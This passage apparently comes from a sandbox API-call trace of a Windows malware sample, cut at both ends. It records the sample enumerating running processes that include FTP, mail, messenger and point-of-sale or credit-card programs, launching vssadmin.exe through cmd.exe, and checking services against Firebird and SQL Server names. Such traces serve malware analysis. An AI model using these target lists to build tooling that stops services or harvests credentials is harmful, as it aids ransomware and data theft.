(lpString="absolutetelnet.exe") returned 18 [0052.917] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x888, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0052.918] lstrlenW (lpString="alftp.exe") returned 9 [0052.918] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x898, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0052.919] lstrlenW (lpString="barca.exe") returned 9 [0052.920] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0052.920] lstrlenW (lpString="bitkinex.exe") returned 12 [0052.921] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0052.921] lstrlenW (lpString="coreftp.exe") returned 11 [0052.921] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0052.922] lstrlenW (lpString="far.exe") returned 7 [0052.922] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0052.923] lstrlenW (lpString="filezilla.exe") returned 13 [0052.923] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0052.924] lstrlenW (lpString="flashfxp.exe") returned 12 [0052.924] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0052.925] lstrlenW (lpString="fling.exe") returned 9 [0052.925] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0052.926] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0052.926] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x920, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0052.927] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0052.927] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0052.928] lstrlenW (lpString="icq.exe") returned 7 [0052.928] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0053.028] lstrlenW (lpString="leechftp.exe") returned 12 [0053.028] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0053.032] lstrlenW (lpString="ncftp.exe") returned 9 [0053.032] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0053.033] lstrlenW (lpString="notepad.exe") returned 11 [0053.034] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0053.035] lstrlenW (lpString="operamail.exe") returned 13 [0053.035] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0053.036] lstrlenW (lpString="pidgin.exe") returned 10 [0053.037] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0053.038] lstrlenW (lpString="scriptftp.exe") returned 13 [0053.038] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0053.040] lstrlenW (lpString="skype.exe") returned 9 [0053.040] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0053.041] lstrlenW (lpString="smartftp.exe") returned 12 [0053.041] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0053.043] lstrlenW (lpString="thunderbird.exe") returned 15 [0053.043] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0053.044] lstrlenW (lpString="totalcmd.exe") returned 12 [0053.044] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0053.045] lstrlenW (lpString="trillian.exe") returned 12 [0053.046] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0053.047] lstrlenW (lpString="webdrive.exe") returned 12 [0053.047] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0053.048] lstrlenW (lpString="whatsapp.exe") returned 12 [0053.048] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0053.049] lstrlenW (lpString="winscp.exe") returned 10 [0053.049] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0053.051] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0053.051] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0053.052] lstrlenW (lpString="active-charge.exe") returned 17 [0053.052] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0053.053] lstrlenW (lpString="accupos.exe") returned 11 [0053.054] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0053.055] lstrlenW (lpString="afr38.exe") returned 9 [0053.055] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0053.056] lstrlenW (lpString="aldelo.exe") returned 10 [0053.056] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0053.057] lstrlenW (lpString="ccv_server.exe") returned 14 [0053.058] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0053.059] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0053.059] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0053.060] lstrlenW (lpString="creditservice.exe") returned 17 [0053.060] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0053.061] lstrlenW (lpString="edcsvr.exe") returned 10 [0053.061] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0053.062] lstrlenW (lpString="fpos.exe") returned 8 [0053.063] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0053.064] lstrlenW (lpString="isspos.exe") returned 10 [0053.064] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0053.065] lstrlenW (lpString="mxslipstream.exe") returned 16 [0053.065] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0053.066] lstrlenW (lpString="omnipos.exe") returned 11 [0053.066] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0053.122] lstrlenW (lpString="spcwin.exe") returned 10 [0053.122] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0053.123] lstrlenW (lpString="spgagentservice.exe") returned 19 [0053.123] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0053.125] lstrlenW (lpString="utg2.exe") returned 8 [0053.125] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="complicatedprivacy.exe")) returned 1 [0053.126] lstrlenW (lpString="complicatedprivacy.exe") returned 22 [0053.126] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="increases.exe")) returned 1 [0053.127] lstrlenW (lpString="increases.exe") returned 13 [0053.127] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0053.128] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0053.128] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0053.129] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0053.129] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0053.130] lstrlenW (lpString="driver.exe") returned 10 [0053.131] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0053.132] lstrlenW (lpString="cmd.exe") returned 7 [0053.132] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0053.133] lstrlenW (lpString="conhost.exe") returned 11 [0053.133] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0053.134] lstrlenW (lpString="vssadmin.exe") returned 12 [0053.134] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0053.135] lstrlenW (lpString="VSSVC.exe") returned 9 [0053.135] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0053.136] CloseHandle (hObject=0x1c0) returned 1 [0053.136] Sleep (dwMilliseconds=0x1f4) [0053.808] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x35f0750 [0053.809] EnumServicesStatusExW (in: hSCManager=0x35f0750, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0) returned 0 [0053.809] GetLastError () returned 0xea [0053.809] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x13a6) returned 0x60e1c0 [0053.810] EnumServicesStatusExW (in: hSCManager=0x35f0750, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x60e1c0, cbBufSize=0x13a6, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x60e1c0, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0) returned 1 [0053.811] CloseServiceHandle (hSCObject=0x35f0750) returned 1 [0053.811] lstrlenW (lpString="Appinfo") returned 7 [0053.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0053.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0053.812] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0053.812] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0053.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0053.812] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0053.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0053.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0053.812] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0053.812] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0053.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0053.812] lstrlenW (lpString="AudioSrv") returned 8 [0053.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0053.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0053.812] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0053.812] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0053.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0053.812] lstrlenW (lpString="BFE") returned 3 [0053.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0053.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0053.813] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0053.813] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0053.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0053.813] lstrlenW (lpString="CryptSvc") returned 8 [0053.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0053.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0053.813] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0053.813] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0053.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0053.813] lstrlenW (lpString="CscService") returned 10 [0053.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0053.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0053.813] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0053.813] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0053.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0053.813] lstrlenW (lpString="DcomLaunch") returned 10 [0053.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0053.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0053.813] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0053.813] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0053.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0053.814] lstrlenW (lpString="Dhcp") returned 4 [0053.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0053.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0053.814] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0053.814] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0053.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0053.814] lstrlenW (lpString="Dnscache") returned 8 [0053.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0053.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0053.814] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0053.814] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0053.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0053.814] lstrlenW (lpString="DPS") returned 3 [0053.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0053.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0053.814] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0053.814] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0053.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0053.814] lstrlenW (lpString="eventlog") returned 8 [0053.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0053.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0053.815] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0053.815] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0053.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0053.815] lstrlenW (lpString="EventSystem") returned 11 [0053.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0053.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0053.815] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0053.815] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0053.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0053.815] lstrlenW (lpString="FontCache") returned 9 [0053.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0053.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0053.815] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0053.815] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0053.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0053.815] lstrlenW (lpString="gpsvc") returned 5 [0053.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0053.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0053.815] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0053.816] lstrcmpiW (lpString1="mssqlserver", 